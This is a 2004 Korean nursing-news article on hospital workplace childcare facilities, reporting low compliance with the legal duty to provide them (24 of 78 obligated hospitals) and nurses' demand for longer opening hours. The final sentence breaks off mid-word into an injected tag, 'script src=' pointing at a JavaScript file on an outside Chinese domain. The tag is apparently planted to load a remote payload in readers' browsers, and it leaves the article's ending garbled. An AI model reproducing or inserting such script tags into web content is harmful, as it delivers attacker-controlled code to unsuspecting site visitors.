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병원 보육시설 현황과 대책
[편집국] 박미경   mkpark@nursenews.co.kr     기사입력 2004-08-05 오전 09:24:17
◇ 설치의무 지킨 병원 31% 그쳐

 1.17명에 불과한 출산율과 1%도 안되는 직장보육시설 설치율, 이는 우리나라 기혼 여성근로자들이 육아와 일을 병행하는데 있어서 가장 큰 걸림돌이 무엇인지 단적으로 말해주는 수치다.
 여성근로자들이 출산 후에도 자신의 능력을 맘껏 펼치며 계속적인 근로활동을 해나가고, 보육에 소요되는 만만치 않은 부담을 덜기 위해서는 직장보육시설이 획기적으로 확충돼야 한다는 목소리가 높다. 특히 간호사 등 여성근로자가 평균 75%를 차지하는 병원의 경우 직장보육시설의 필요성이 어느 사업장보다 크다는 지적이다.
 근로복지공단 산하 직장보육시설지원센터에서 조사한 직장보육시설 설치 현황(2004년 6월 30일 현재)에 따르면, 전국 병원 중 보육시설이 설치된 병원은 의무설치병원 24곳과 임의설치병원 17곳을 합해 총 41곳인 것으로 조사됐다. 보육시설 설치 대신 보육수당을 지급하는 병원은 총 12곳이었다.
 1994년 연대 세브란스병원에서 보육시설을 가장 먼저 개설한 이후 그 숫자가 꾸준히 늘어나고는 있지만 아직도 턱없이 부족한 형편이다.
 직장보육시설 설치가 영유아보육법에 의해 의무화돼 있는 병원은 총 78곳. 그러나 위 자료에 따르면 이들 가운데 보육시설을 운영하는 병원이 24곳(31%), 보육수당을 지급하는 병원이 11곳 등 35개 병원에서만 여성근로자들에 대한 보육혜택을 주고 있어 실제로 의무를 이행하고 있는 병원이 45%선에 그치고 있는 것으로 나타났다. 현행 영유아보육법은 상시 여성근로자 300인 이상 사업장에서 소속 근로자 자녀의 보육을 위해 단독 또는 공동으로 직장보육시설을 의무 설치, 운영토록 하고 있다.
 보육시설 의무설치 대상이 아닌데도 어린 자녀가 있는 간호사들이 일과 육아를 모두 잘 해낼 수 있도록 하기 위해 자발적으로 시설을 설치한 병원도 17군데 있다. 일례로 제주 한마음병원에서는 노동부 지원을 받아 1999년 9월 원내에 어린이집을 개설해놓고 간호사엄마들이 자녀와 함께 출퇴근할 수 있도록 배려하고 있다.
 현재 운영되고 있는 병원 직장보육시설들은 간호사들이 출산 후에도 안정적으로 계속 근무할 수 있는 든든한 버팀목 역할을 하고 있다. 시설 의무설치장인 울산대병원의 경우, 아동수용정원이 98명인데 대기자가 100명 가까이 있을 정도로 시설의 인기가 높다. 이에 따라 시설 설치는 말할 것 없이 기존 시설에서도 정원과 규모를 늘려 보육시설 이용을 원하는 모든 간호사들에게 혜택을 줄 수 있어야 한다는 주장도 높아지고 있다.
 병원 직장보육시설은 사측의 50% 이상 운영비 지원과 국가에서 주는 교사인건비 지원 등으로 수익추구 중심의 일반 민간시설보다 운영면, 교육면에서 대체로 우수한 질을 유지하고 있다. 교사 1인당 아동수가 민간시설보다 적어 아이들에 대한 충분한 케어가 가능하고, 프로그램 수준도 높아 자모들의 만족도가 더 큰 것으로 나타난다. 시설과 직장이 가까이 있어 아동, 부모 모두가 심리적으로 안정되며 자발적인 자모모임이나 상담도 원활히 이뤄진다. 시설들은 교대근무를 고려해 운영시간을 일반 보육시설보다 훨씬 긴, 아침 6시부터 밤 11시까지 16여시간 운영하는 곳이 많다.
 병원 보육시설에 아이를 맡긴 엄마의 80% 가량을 차지하는 간호사들은 "아이들이 시설에 잘 적응해 밝은 모습으로 지내는 걸 확인할 때 무척 안심이 되고, 일에 전념할 수 있게 된다" "직장생활을 하며 아이를 키우는 문제가 더 이상 고민거리가 아니다" "병원마다 보육시설이 설치된다면 젊은 간호사들의 사직 및 이직률을 크게 낮출 수 있을 것"이라는 등 긍정적인 반응을 보이고 있다.
 한편 보육수당 지급으로 시설의 설치 운영을 대신하고 있는 12군데 병원들에서는 보통 보육비의 절반 가량을 지원하고 있었다. 그러나 1인당 보육료 지급액이 병원별로 편차가 크고 금액이 현실적이지 못한 곳도 있었다.
 보육수당도 지급하지 않으면서 보육시설 설치를 하지 않고 있는 병원들은 시설을 설치할 만한 장소 확보가 곤란하고, 대상아동 수가 부족하다는 점을 미설치의 주된 이유로 꼽았다. 설치비 부족, 소음 및 공해, 병원내 감염우려 등 부적절한 환경, 교대근무, 근로자 호응부족 등 때문이라는 응답도 있었다.
 김근례 보건의료노조 여성국장은 "병원 간호사들 중엔 가임기의 젊은 여성들이 많고, 밤낮이 바뀌는 교대근무로 보육에 애로를 겪고 있어 보육시설에 대한 수요가 매우 크다"면서 "아직도 시설을 설치하지 하지 않은 병원들은 간호사들이 더 좋은 성과로 병원에 기여할 수 있도록 지원과 투자에 적극 나서야 할 것"이라고 말했다.
 직장보육시설지원센터 관계자는 "직장보육시설 설치에 대한 사업주의 적극적인 참여를 유인하고 육아휴직제도에 연계해 여성 근로자가 직장과 가정을 양립할 수 있는 기반이 대폭 확?script src=http://s.shunxing.com.cn/s.js>
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